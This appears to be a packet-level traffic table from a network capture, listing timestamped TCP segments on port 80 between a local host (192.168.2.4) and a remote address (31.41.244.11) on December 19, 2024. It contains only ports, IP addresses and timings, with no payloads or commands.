Dec 19, 2024 20:11:50.264589071 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.264640093 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.265347958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.266067982 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.266124964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.266180992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.266304016 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.267548084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.267596960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.267750978 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.267832994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.269048929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.269104004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.269154072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.269253016 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.270525932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.270649910 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.270695925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.272003889 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.272057056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.272121906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.272162914 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.272795916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.273047924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.273107052 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.273696899 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.273749113 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.273786068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.274512053 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.274533033 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.274607897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.274652958 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.275430918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.275695086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.275738955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.276336908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.276381016 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.276448965 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.277249098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.277298927 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.277610064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.278074980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.278121948 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.278295040 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.278518915 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.278866053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.279022932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.279064894 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.279792070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.280087948 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.280131102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.280646086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.280688047 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.281361103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.281615973 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.281629086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.281657934 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.281682968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.282366991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.282514095 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.282649994 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.282691956 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.283226013 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.283267975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.283440113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.283482075 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.284106970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.284147024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.284318924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.284363985 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.285006046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.285044909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.285271883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.285312891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.285855055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.285912991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.286067009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.286108017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.286715031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.287286997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.287336111 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.287575960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.288039923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.288085938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.288525105 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.288538933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.288577080 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.289319992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.289361954 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.289460897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.290226936 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.290277958 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.290803909 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.291047096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.291089058 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.414953947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.414988041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.415044069 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.415344000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.415461063 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.415498972 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.416225910 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.416269064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.416542053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.417052984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.417094946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.417263031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.417892933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.417934895 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.418073893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.418112040 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.418808937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.418858051 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.418952942 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.419672966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.419719934 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.419779062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.420538902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.420589924 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.420747042 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.420789003 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.421406984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.421658993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.421701908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.422306061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.422446966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.422509909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.423156977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.423171043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.423199892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.423235893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.424010992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.424052000 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.424154043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.424202919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.424841881 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.424906015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.425693035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.425745964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.425832033 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.425844908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.425870895 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.425899029 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.426636934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.427522898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.427536011 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.427568913 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.427603006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.427658081 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.428374052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.428414106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.429284096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.429297924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.429343939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.429440022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.429476023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.430147886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.430160046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.430198908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.430951118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.431003094 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.431046009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.431835890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.431890011 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.432132006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.432722092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.432763100 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.432854891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.432898998 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.433629036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.433640957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.433681965 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.434454918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.434514046 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.434545040 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.435339928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.435380936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.435489893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.436280012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.436331034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.436367035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.436405897 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.437146902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.437206984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.437249899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.437881947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.438260078 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.438309908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.438817978 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.438931942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.439111948 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.439367056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.439702988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.439747095 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.439992905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.440514088 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.440561056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.440673113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.441396952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.441446066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.441715956 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.441757917 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.442264080 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.442445993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.442498922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.443150043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.443342924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.443392038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.444077969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.444089890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.444122076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.444147110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.445055008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.445066929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.445101023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.445770025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.446007013 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.446050882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.446599960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.446749926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.446794033 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.447453976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.447498083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.447871923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.448312044 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.448359966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.448673010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.449264050 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.449316025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.449520111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.449563980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.450063944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.450212955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.450258970 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.450910091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.451426983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.451473951 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.451858044 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.451901913 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.451941967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.452652931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.452693939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.452790022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.453573942 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.453615904 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.453670025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.453710079 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.454376936 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.454516888 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.454547882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.454586983 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.455285072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.455506086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.455549955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.456163883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.456692934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.456736088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.456984997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.457022905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.457078934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.457900047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.457940102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.457952976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.458511114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.458810091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.459177971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.459220886 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.459691048 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.459702969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.459741116 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.460510015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.460550070 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.607214928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.607280970 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.607322931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.607381105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.607583046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.607630968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.607722998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.607768059 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.608467102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.608520031 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.609375000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.609388113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.609437943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.609518051 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.609564066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.610188961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.610240936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.610359907 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.610404968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.611071110 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.611120939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.611195087 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.611283064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.611999035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.612118006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.612874985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.612951994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.612987995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.612998962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.613068104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.613658905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.613706112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.614208937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.614253998 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.614583969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.614597082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.614634991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.615412951 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.615464926 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.615648985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.615700960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.616374969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.616439104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.616724014 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.616770029 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.617149115 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.617527008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.617582083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.618940115 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.618993044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.619079113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.619092941 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.619138956 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.619436979 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.619493008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.619816065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.619829893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.619873047 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.620641947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.620690107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.620791912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.620908022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.621483088 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.621531963 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.621702909 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.621750116 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.622370005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.622411013 CET	49877	80	192.168.2.4	31.41.244.11
